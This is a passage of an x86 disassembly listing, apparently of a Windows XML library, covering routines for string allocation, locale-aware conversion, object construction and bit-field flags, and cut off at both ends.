		mov	[ebp+58h+var_8], edi
		call	ebx ; SHLWAPI_311
		cmp	eax, esi
		jnz	short loc_69B74D57
		push	esi
		push	esi
		push	[ebp+58h+arg_10]
		lea	eax, [ebp+58h+pudateOut]
		push	eax
		push	esi
		push	[ebp+58h+arg_14]
		call	ebx ; SHLWAPI_311
		mov	edi, eax
		lea	eax, [edi+edi]
		push	eax
		call	sub_69B11E44
		cmp	eax, esi
		mov	[ebp+58h+var_8], eax
		jnz	short loc_69B74D45


loc_69B74D3E:				; CODE XREF: sub_69B74C4C+11Dj
		mov	edi, 8007000Eh
		jmp	short loc_69B74D72
; ---------------------------------------------------------------------------


loc_69B74D45:				; CODE XREF: sub_69B74C4C+F0j
		push	edi
		push	eax
		push	[ebp+58h+arg_10]
		lea	eax, [ebp+58h+pudateOut]
		push	eax
		push	esi
		push	[ebp+58h+arg_14]
		call	ebx ; SHLWAPI_311
		mov	edi, [ebp+58h+var_8]


loc_69B74D57:				; CODE XREF: sub_69B74C4C+CFj
		cmp	[edi+eax*2-2], si
		jnz	short loc_69B74D5F
		dec	eax


loc_69B74D5F:				; CODE XREF: sub_69B74C4C+110j
		push	eax		; UINT
		push	edi		; OLECHAR *
		call	SysAllocStringLen
		cmp	eax, esi
		jz	short loc_69B74D3E
		mov	ecx, [ebp+58h+arg_18]
		mov	[ecx], eax
		xor	edi, edi


loc_69B74D72:				; CODE XREF: sub_69B74C4C+F7j
		pop	ebx


loc_69B74D73:				; CODE XREF: sub_69B74C4C+81j
					; sub_69B74C4C+9Dj
		lea	eax, [ebp+58h+var_A0]
		cmp	[ebp+58h+var_8], eax
		jz	short loc_69B74D83
		push	[ebp+58h+var_8]
		call	sub_69B1B2B7


loc_69B74D83:				; CODE XREF: sub_69B74C4C+12Dj
		mov	eax, edi
		pop	edi
		jmp	short loc_69B74D8A
; ---------------------------------------------------------------------------


loc_69B74D88:				; CODE XREF: sub_69B74C4C+34j
					; sub_69B74C4C+3Dj
		xor	eax, eax


loc_69B74D8A:				; CODE XREF: sub_69B74C4C+28j
					; sub_69B74C4C+13Aj
		mov	ecx, [ebp+58h+var_4]
		xor	ecx, [ebp+5Ch]
		pop	esi
		call	sub_69B1B9F6
		add	ebp, 58h
		leave
		retn	20h
sub_69B74C4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B74D9D	proc near		; DATA XREF: .text:69B142C8o

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		call	ds:GetThreadLocale	; GetThreadLocale
		push	1		; int
		push	[ebp+arg_28]	; int
		mov	ecx, [ebp+arg_0]
		push	eax		; int
		push	[ebp+arg_14]	; int
		lea	esi, [ebp+arg_4]
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		call	sub_69B74C4C
		pop	edi
		pop	esi
		pop	ebp
		retn	2Ch
sub_69B74D9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B74DCB	proc near		; DATA XREF: .text:69B142CCo

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		call	ds:GetThreadLocale	; GetThreadLocale
		push	0		; int
		push	[ebp+arg_28]	; int
		mov	ecx, [ebp+arg_0]
		push	eax		; int
		push	[ebp+arg_14]	; int
		lea	esi, [ebp+arg_4]
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		call	sub_69B74C4C
		pop	edi
		pop	esi
		pop	ebp
		retn	2Ch
sub_69B74DCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B74DF9	proc near		; CODE XREF: sub_69B74E6A+3p
		mov	dword ptr [ecx-0Ch], offset off_69B14200
		mov	dword ptr [ecx-8], offset off_69B2A510
		mov	dword ptr [ecx], offset	off_69B2A50C
		add	ecx, 0Ch
		push	ecx
		call	sub_69B17230
		jmp	sub_69B2C65C
sub_69B74DF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B74E1B	proc near		; DATA XREF: .text:off_69B2A510o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	sub_69B745C5
sub_69B74E1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B74E25	proc near		; CODE XREF: sub_69B74E46+3p
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B9A864
		push	off_69B9A868
		lea	ecx, [esi+0Ch]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B74E25	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B74E46	proc near		; CODE XREF: sub_69B70BCE+16p
		push	esi
		mov	esi, ecx
		call	sub_69B74E25
		mov	dword ptr [esi], offset	off_69B14200
		mov	dword ptr [esi+4], offset off_69B2A510
		mov	dword ptr [esi+0Ch], offset off_69B2A50C
		and	dword ptr [esi+18h], 0
		mov	eax, esi
		pop	esi
		retn
sub_69B74E46	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B74E6A	proc near		; DATA XREF: .text:off_69B2A50Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B74DF9
		test	[esp+4+arg_0], 1
		jz	short loc_69B74E82
		lea	eax, [esi-0Ch]
		push	eax
		call	sub_69B1B2B7


loc_69B74E82:				; CODE XREF: sub_69B74E6A+Dj
		lea	eax, [esi-0Ch]
		pop	esi
		retn	4
sub_69B74E6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B74E89	proc near		; DATA XREF: .text:69B142ECo
		mov	eax, offset off_69B74E90
		retn
sub_69B74E89	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B74E90	dd offset off_69B2A4EC	; DATA XREF: sub_69B74E89o
		dd offset loc_69B74F68

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B74E98	proc near		; DATA XREF: .text:69B14324o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		cmp	eax, dword_69B9B578
		push	esi
		mov	esi, ecx
		jnz	short loc_69B74ED1
		push	[ebp+arg_C]
		mov	ecx, [ebp+arg_0]
		call	sub_69B6EB90
		push	2
		push	[ebp+arg_C]
		push	esi
		push	[ebp+arg_0]
		call	sub_69B73499
		push	[ebp+arg_4]
		mov	edx, [eax]
		push	[ebp+arg_0]
		mov	ecx, eax
		call	dword ptr [edx+3Ch]
		jmp	short loc_69B74ED5
; ---------------------------------------------------------------------------


loc_69B74ED1:				; CODE XREF: sub_69B74E98+Fj
		or	dword ptr [esi+24h], 4


loc_69B74ED5:				; CODE XREF: sub_69B74E98+37j
		pop	esi
		pop	ebp
		retn	10h
sub_69B74E98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B74EDA	proc near		; CODE XREF: sub_69B750B7+3Bp

pvar		= VARIANTARG ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	dword_69B9B498
		mov	[ebp+var_4], ecx
		mov	ecx, [ecx+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+0A8h]
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B74F41
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		push	ebx
		push	0		; int
		push	0		; int
		lea	edx, [ebp+pvar]
		push	edx		; pvar
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	1Eh		; int
		push	eax		; cElements
		push	ecx		; strIn
		call	sub_69B30856
		mov	ebx, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+30h]
		test	ebx, ebx
		pop	ebx
		jge	short loc_69B74F34
		push	0
		push	0
		push	esi
		push	0C00CE313h
		call	sub_69B6E277


loc_69B74F34:				; CODE XREF: sub_69B74EDA+49j
		mov	eax, [ebp+var_4]
		fld	qword ptr [ebp+pvar.anonymous_0+8]
		fstp	qword ptr [eax+38h]
		mov	al, 1
		jmp	short loc_69B74F43
; ---------------------------------------------------------------------------


loc_69B74F41:				; CODE XREF: sub_69B74EDA+1Fj
		xor	al, al


loc_69B74F43:				; CODE XREF: sub_69B74EDA+65j
		pop	esi
		leave
		retn	4
sub_69B74EDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B74F48	proc near		; CODE XREF: .text:69B74F77p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B72446
		mov	dword ptr [esi], offset	off_69B142D0
		and	dword ptr [esi+2Ch], 0
		and	dword ptr [esi+30h], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_69B74F48	endp

; ---------------------------------------------------------------------------


loc_69B74F68:				; DATA XREF: .text:69B74E94o
		push	48h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B74F7D
		push	0
		mov	ecx, eax
		call	sub_69B74F48
		retn
; ---------------------------------------------------------------------------


loc_69B74F7D:				; CODE XREF: .text:69B74F71j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B751ED


loc_69B74F80:				; CODE XREF: sub_69B751ED+Dj
		push	esi
		push	0
		push	[esp+8+arg_4]
		mov	esi, ecx
		push	[esp+0Ch+arg_0]
		call	sub_69B724DF
		push	[esp+4+arg_8]
		lea	eax, [esi+2Ch]
		mov	dword ptr [esi], offset	off_69B142D0
		and	dword ptr [eax], 0
		and	dword ptr [esi+30h], 0
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_69B751ED

; =============== S U B	R O U T	I N E =======================================



sub_69B74FB2	proc near		; DATA XREF: .text:69B14304o
					; .text:69B16414o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B7251E
sub_69B74FB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B74FD3	proc near		; DATA XREF: .text:69B142F8o
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B7254A
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	edi, eax
		lea	eax, [esi+2Ch]
		push	eax
		lea	ecx, [edi+2Ch]
		call	sub_69B4D414
		lea	eax, [esi+30h]
		push	eax
		lea	ecx, [edi+30h]
		call	sub_69B4D414
		fld	qword ptr [esi+38h]
		fstp	qword ptr [edi+38h]
		mov	eax, [esi+40h]
		mov	[edi+40h], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_69B74FD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7500E	proc near		; CODE XREF: sub_69B750B7+B6p

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		mov	ecx, [esi+28h]
		push	esi
		push	edi
		call	sub_69B72411
		mov	ecx, [esi+2Ch]
		test	ecx, ecx
		jz	loc_69B750B1
		test	byte ptr [esi+24h], 1
		jnz	short loc_69B750B1
		cmp	dword ptr [edi+0A8h], 2
		jz	short loc_69B750B1
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+70h]
		fstp	[ebp+var_10]
		mov	ecx, edi
		jmp	short loc_69B7509F
; ---------------------------------------------------------------------------


loc_69B7504C:				; CODE XREF: sub_69B7500E+A0j
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+70h]
		fstp	[ebp+var_8]
		fld	[ebp+var_10]
		fcomp	[ebp+var_8]
		fnstsw	ax
		test	ah, 44h
		jp	short loc_69B75077
		lea	edi, [esi+2Ch]
		mov	ecx, [edi]
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+74h]
		push	eax
		push	edi
		call	sub_69B17320
		jmp	short loc_69B7509C
; ---------------------------------------------------------------------------


loc_69B75077:				; CODE XREF: sub_69B7500E+53j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+28h]
		mov	edi, eax
		push	ebx
		lea	eax, [edi+2Ch]
		push	eax
		call	sub_69B17320
		fld	[ebp+var_8]
		push	edi
		fstp	qword ptr [edi+38h]
		push	[ebp+arg_0]
		mov	ecx, [esi+28h]
		call	sub_69B72411


loc_69B7509C:				; CODE XREF: sub_69B7500E+67j
		mov	ecx, [ebp+arg_0]


loc_69B7509F:				; CODE XREF: sub_69B7500E+3Cj
		push	3
		push	0
		push	0
		call	sub_69B6F425
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B7504C
		pop	ebx


loc_69B750B1:				; CODE XREF: sub_69B7500E+1Cj
					; sub_69B7500E+26j ...
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B7500E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B750B7	proc near		; DATA XREF: .text:69B1432Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+24h], 1
		push	edi
		jz	short loc_69B750E6
		push	0
		call	sub_69B6934C
		mov	ecx, eax
		add	eax, 10h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_69B17320
		mov	ecx, [edi]
		jmp	short loc_69B7511E
; ---------------------------------------------------------------------------


loc_69B750E6:				; CODE XREF: sub_69B750B7+Dj
		cmp	dword ptr [ebx+0A8h], 2
		jz	short loc_69B75128
		push	ebx
		mov	ecx, esi
		call	sub_69B74EDA
		test	al, al
		jnz	short loc_69B75128
		mov	eax, [esi+0Ch]
		push	3
		push	dword_69B9B500
		mov	ecx, ebx
		push	eax
		call	sub_69B6F425
		push	eax
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_69B17320
		mov	ecx, [edi]
		test	ecx, ecx
		jz	short loc_69B75145


loc_69B7511E:				; CODE XREF: sub_69B750B7+2Dj
		mov	eax, [ecx]
		call	dword ptr [eax+70h]
		fstp	qword ptr [esi+38h]
		jmp	short loc_69B75145
; ---------------------------------------------------------------------------


loc_69B75128:				; CODE XREF: sub_69B750B7+36j
					; sub_69B750B7+42j
		mov	eax, [esi+0Ch]
		push	2
		push	dword_69B9B500
		mov	ecx, ebx
		push	eax
		call	sub_69B6F425
		push	eax
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_69B17320


loc_69B75145:				; CODE XREF: sub_69B750B7+65j
					; sub_69B750B7+6Fj
		xor	eax, eax
		cmp	[edi], eax
		jnz	short loc_69B75166
		cmp	dword ptr [ebx+0A8h], 2
		jz	short loc_69B75166
		push	eax
		push	eax
		push	dword_69B9B500
		push	0C00CE020h
		call	sub_69B6E277


loc_69B75166:				; CODE XREF: sub_69B750B7+92j
					; sub_69B750B7+9Bj
		push	[esp+0Ch+arg_4]
		mov	ecx, esi
		push	ebx
		call	sub_69B7500E
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B750B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75178	proc near		; CODE XREF: sub_69B72411+Bp

arg_0		= dword	ptr  4

		push	esi
		lea	esi, [ecx+30h]
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_69B751CC
		test	byte ptr [ecx+24h], 1
		push	edi
		jnz	short loc_69B751BD
		mov	edi, [esp+8+arg_0]
		cmp	dword ptr [edi+0A8h], 2
		jz	short loc_69B751BD
		mov	ecx, [ecx+0Ch]
		push	dword_69B9B490
		mov	eax, [ecx]
		call	dword ptr [eax+0A8h]
		test	eax, eax
		jz	short loc_69B751BD
		mov	ecx, [edi+68h]
		push	1
		push	eax
		push	0Bh
		call	sub_69B4DE11
		mov	eax, [eax+8]
		jmp	short loc_69B751C2
; ---------------------------------------------------------------------------


loc_69B751BD:				; CODE XREF: sub_69B75178+Fj
					; sub_69B75178+1Cj ...
		mov	eax, dword_69B95A0C


loc_69B751C2:				; CODE XREF: sub_69B75178+43j
		push	eax
		push	esi
		call	sub_69B17320
		mov	eax, [esi]
		pop	edi


loc_69B751CC:				; CODE XREF: sub_69B75178+8j
		pop	esi
		retn	4
sub_69B75178	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B751D0	proc near		; CODE XREF: sub_69B758F7+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B7039F
sub_69B751D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B751ED	proc near		; CODE XREF: sub_69B725C0+75p
					; sub_69B725C0+93p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 69B74F80 SIZE 00000032 BYTES

		push	48h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B751FF
		mov	ecx, eax
		jmp	loc_69B74F80
; ---------------------------------------------------------------------------


loc_69B751FF:				; CODE XREF: sub_69B751ED+9j
		xor	eax, eax
		retn	0Ch
sub_69B751ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75204	proc near		; CODE XREF: sub_69B7521B+95p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	ecx
		add	ecx, 8Ch
		call	sub_69B70DF4
		retn	8
sub_69B75204	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7521B	proc near		; DATA XREF: .text:69B1627Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword ptr [edi+0A8h], 2
		mov	esi, ecx
		mov	[ebp+var_4], esi
		jnz	short loc_69B7524D
		push	[ebp+arg_4]
		call	sub_69B73078
		xor	ebx, ebx
		push	ebx
		push	eax
		push	edi
		lea	ecx, [edi+8Ch]
		call	sub_69B70DF4
		jmp	short loc_69B752B8
; ---------------------------------------------------------------------------


loc_69B7524D:				; CODE XREF: sub_69B7521B+16j
		mov	ecx, [esi+0Ch]
		push	dword_69B9B488
		mov	eax, [ecx]
		call	dword ptr [eax+0A8h]
		xor	ebx, ebx
		mov	esi, eax
		cmp	esi, ebx
		push	ebx		; int
		push	ebx		; int
		jz	short loc_69B75291
		mov	eax, [esi+8]
		mov	edx, [esi+0Ch]
		mov	ecx, [edi+68h]
		push	eax		; int
		push	edx		; lpString
		call	sub_69B4D560
		mov	[ebp+arg_0], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+30h]
		cmp	[ebp+arg_0], ebx
		jnz	short loc_69B752A1
		push	ebx
		push	ebx
		push	esi
		push	0C00CE01Dh
		jmp	short loc_69B7529C
; ---------------------------------------------------------------------------


loc_69B75291:				; CODE XREF: sub_69B7521B+4Bj
		push	dword_69B9B488
		push	0C00CE020h


loc_69B7529C:				; CODE XREF: sub_69B7521B+74j
		call	sub_69B6E277


loc_69B752A1:				; CODE XREF: sub_69B7521B+6Aj
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		push	ebx
		call	sub_69B73078
		push	eax
		mov	ecx, edi
		call	sub_69B75204
		mov	esi, [ebp+var_4]


loc_69B752B8:				; CODE XREF: sub_69B7521B+30j
		mov	ecx, [esi+0Ch]
		push	ebx
		mov	edi, eax
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+4Ch]
		push	eax
		mov	ecx, edi
		call	sub_69B741F3
		mov	ecx, esi
		call	sub_69B72FFD
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B7521B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B752DA	proc near		; CODE XREF: sub_69B7267F+11Fp
					; sub_69B72A73+153p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B16224 SIZE 00000018 BYTES

		push	14h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B752EC
		mov	ecx, eax
		jmp	loc_69B16224
; ---------------------------------------------------------------------------


loc_69B752EC:				; CODE XREF: sub_69B752DA+9j
		xor	eax, eax
		retn	4
sub_69B752DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B752F1	proc near		; CODE XREF: sub_69B75417+Ap
					; sub_69B8ACCF+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		lea	eax, [esi+esi*2]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_69B17EF3
		mov	[eax+8], esi
		pop	esi
		retn
sub_69B752F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7530B	proc near		; CODE XREF: sub_69B75495+12p
					; sub_69B754CF+19p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		mov	esi, [esp+8+arg_0]
		shl	eax, 2
		xor	eax, [esi]
		and	eax, 7Ch
		xor	[esi], eax
		mov	ecx, [edi+8]
		mov	eax, [esi]
		shr	ecx, 15h
		movzx	ecx, cl
		shl	ecx, 7
		xor	ecx, eax
		and	ecx, 80h
		xor	ecx, eax
		mov	[esi], ecx
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0D4h]
		xor	ecx, ecx
		mov	ch, al
		xor	ecx, [esi]
		and	ecx, 100h
		xor	[esi], ecx
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0D8h]
		movzx	eax, al
		shl	eax, 9
		xor	eax, [esi]
		mov	ecx, edi
		and	eax, 200h
		xor	[esi], eax
		mov	eax, [edi]
		call	dword ptr [eax+3Ch]
		pop	edi
		mov	[esi+4], eax
		pop	esi
		retn	8
sub_69B7530B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75380	proc near		; DATA XREF: .text:69B21ED8o

arg_4		= dword	ptr  8

		push	esi
		mov	esi, [ecx+14h]
		mov	ecx, [ecx+18h]
		add	esi, 0Ch
		test	ecx, ecx
		jz	loc_69B75413
		push	edi
		mov	edi, ecx


loc_69B75395:				; CODE XREF: sub_69B75380+90j
		mov	eax, [esi]
		mov	ecx, eax
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_69B753E1
		dec	ecx
		jz	short loc_69B753C8
		dec	ecx
		jnz	short loc_69B7540C
		mov	ecx, eax
		shr	ecx, 9
		and	ecx, 0FFFFFF01h
		push	ecx
		push	dword ptr [esi+4]
		mov	ecx, [esp+10h+arg_4]
		shr	eax, 2
		and	eax, 1Fh
		push	eax
		call	sub_69B6E6C4
		jmp	short loc_69B7540C
; ---------------------------------------------------------------------------


loc_69B753C8:				; CODE XREF: sub_69B75380+22j
		mov	ecx, [esp+8+arg_4]
		shr	eax, 9
		push	0
		and	eax, 0FFFFFF01h
		push	eax
		push	dword ptr [esi+8]
		call	sub_69B6E79D
		jmp	short loc_69B7540C
; ---------------------------------------------------------------------------


loc_69B753E1:				; CODE XREF: sub_69B75380+1Fj
		mov	ecx, eax
		shr	ecx, 7
		and	ecx, 0FFFFFF01h
		push	ecx
		mov	ecx, eax
		shr	ecx, 8
		and	ecx, 0FFFFFF01h
		push	ecx
		push	dword ptr [esi+4]
		mov	ecx, [esp+14h+arg_4]
		shr	eax, 2
		and	eax, 1Fh
		push	eax
		call	sub_69B6E648


loc_69B7540C:				; CODE XREF: sub_69B75380+25j
					; sub_69B75380+46j ...
		add	esi, 0Ch
		dec	edi
		jnz	short loc_69B75395
		pop	edi


loc_69B75413:				; CODE XREF: sub_69B75380+Cj
		pop	esi
		retn	8
sub_69B75380	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75417	proc near		; CODE XREF: sub_69B75461+15p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, ecx
		push	10h
		call	sub_69B752F1
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_69B7543D
		mov	ecx, esi
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B21EE8
		jmp	short loc_69B7543F
; ---------------------------------------------------------------------------


loc_69B7543D:				; CODE XREF: sub_69B75417+15j
		xor	esi, esi


loc_69B7543F:				; CODE XREF: sub_69B75417+24j
		push	0
		push	edi
		push	dword ptr [edi+8]
		mov	ecx, esi
		push	0
		call	sub_69B2E6E3
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B75417	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75455	proc near		; DATA XREF: .text:69B21ED4o
		push	0
		add	ecx, 14h
		push	ecx
		call	sub_69B17320
		retn
sub_69B75455	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75461	proc near		; CODE XREF: sub_69B75495+3p
					; sub_69B754B0p ...
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+14h]
		mov	ecx, [edi]
		mov	eax, [ecx+8]
		cmp	[esi+18h], eax
		jl	short loc_69B75482
		lea	eax, [eax+eax*2]
		push	eax
		call	sub_69B75417
		push	eax
		push	edi
		call	sub_69B17320


loc_69B75482:				; CODE XREF: sub_69B75461+Fj
		mov	ecx, [esi+18h]
		mov	edx, [edi]
		lea	eax, [ecx+ecx*2+3]
		inc	ecx
		pop	edi
		mov	[esi+18h], ecx
		lea	eax, [edx+eax*4]
		pop	esi
		retn
sub_69B75461	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75495	proc near		; CODE XREF: sub_69B7298C+74p
					; sub_69B7298C+C1p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B75461
		push	[esp+4+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh
		push	eax
		mov	ecx, esi
		call	sub_69B7530B
		pop	esi
		retn	4
sub_69B75495	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B754B0	proc near		; CODE XREF: sub_69B7298C+7Fp
					; sub_69B72E2D+7Fp ...

arg_0		= dword	ptr  4

		call	sub_69B75461
		mov	ecx, [eax]
		push	[esp+arg_0]
		and	ecx, 0FFFFFF85h
		or	ecx, 5
		mov	[eax], ecx
		add	eax, 8
		push	eax
		call	sub_69B17320
		retn	4
sub_69B754B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B754CF	proc near		; CODE XREF: sub_69B7298C+88p
					; sub_69B72E2D+13Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B75461
		mov	ecx, [eax]
		push	[esp+4+arg_0]
		and	ecx, 0FFFFFFFEh
		or	ecx, 2
		mov	[eax], ecx
		push	eax
		mov	ecx, esi
		call	sub_69B7530B
		pop	esi
		retn	4
sub_69B754CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B754F1	proc near		; CODE XREF: sub_69B728E6+4p
		push	1Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B75503
		mov	ecx, eax
		jmp	sub_69B21E58
; ---------------------------------------------------------------------------


loc_69B75503:				; CODE XREF: sub_69B754F1+9j
		xor	eax, eax
		retn
sub_69B754F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B75506	proc near		; DATA XREF: .text:69B1414Co
					; .text:69B1630Co ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		call	sub_69B186FA
		test	[esp+4+arg_0], 1
		jz	short loc_69B75526
		push	esi
		call	sub_69B1829F


loc_69B75526:				; CODE XREF: sub_69B75506+18j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B75506	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7552C	proc near		; DATA XREF: .text:69B21F24o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	ecx, [esp+4+arg_0]
		call	sub_69B7553C
		retn	8
sub_69B7552C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7553C	proc near		; CODE XREF: sub_69B7552C+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax]
		xor	ecx, [esi]
		and	ecx, 3
		xor	[esi], ecx
		mov	edx, [esi]
		mov	ecx, [eax]
		xor	ecx, edx
		and	ecx, 7Ch
		xor	ecx, edx
		mov	[esi], ecx
		mov	edx, [eax]
		xor	edx, ecx
		and	edx, 80h
		xor	edx, ecx
		mov	[esi], edx
		mov	ecx, [eax]
		xor	ecx, edx
		and	ecx, 100h
		xor	ecx, edx
		mov	[esi], ecx
		mov	edx, [eax]
		xor	edx, ecx
		and	edx, 200h
		xor	edx, ecx
		mov	[esi], edx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		push	dword ptr [eax+8]
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	4
sub_69B7553C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7559B	proc near		; DATA XREF: .text:69B21F1Co
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_69B755BA
		push	ebx
		push	edi
		lea	edi, [esi+14h]
